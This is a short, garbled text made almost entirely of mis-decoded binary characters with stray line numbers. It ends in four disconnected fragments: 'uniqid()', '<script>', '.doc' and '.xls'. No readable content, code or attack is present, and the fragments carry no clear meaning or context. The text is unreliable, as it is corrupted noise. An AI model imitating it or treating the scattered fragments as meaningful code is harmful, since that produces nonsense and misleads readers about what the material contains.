    !1"23AQayÜ?ððBBdz~>Dyðm_IQ.7]ê"úAæÄµ=D"ÖyR' _²=M²ðäUxBXÄ6K +Æ_P-
    æÄ\ÖàJdðÇÄ£Ið)FFÊ"{}&Ä
15 "Äð
16 iW47@YcàUæÿ~·ú B»CjÈ ;o.ibæcrEÇI$ii6»FêêIÉ±6V£I4xðð«.2ø{ÜoEi
    )Gy&*7;+ÄxÈ·5n*»g{%k`HR?ð÷ø?ù)Tð¿o`¿ ÄøÄ¿ÄøIÉJ£ä"xú<DB>&PB !B]êð¿
    ó¿ð6`ç` .ÉðVýj3äÊ¿qTj~ø`Ü$~v~jæ!M %40Édu0U-ÖÖXÖx)W±X.hð-uT+ÄYK
    æEF²Æ÷@`ú«¹·AUE[ðñWÄX×h`c²qhJÄQ:æéä07ý4` <ðàñG`hW8~q#`Ü
    e6Yl`Æ×NgÖè,è*[{ "äúé ;»%äirHJn0i2±ððxlB¹i6ä9«¹`AycÜVÍÖÖÜ|Kü
    ü²| Öyã?%*=äèñBíABB !vW²·í UüðäUÜ²²B´&auWóÖJGSH8=PWE6"é2
    "Äyã(à0µ.;t,Q~æð-ßd0iëí !ø²ðJCI(¿io{tl;i7¶ÉÄþ.â¿ä9s^`GD%ú=<1è"xk
    ;þxÜEðÖä;!â2dLYæø²d
17 *ðÊi)ðábLá »~Cky«²ÖIÖñxúBsÜ.;»þ²t8bÿf:è(éZà+Hi>
    ^k¥ðqè}ÓQEÖ¿KwmM¥h{£m¶»NÖèJæ'Ög äÄè~²Æ+²v$Íä´_ßIEÄþo9Ä´i
    {Ä6ð²Ü
18 øÜ7EgÿÄÖ´þ±LüWbóe~R$LMdið<NB{fðÉ>
```

uniqid()

<script>

.doc

.xls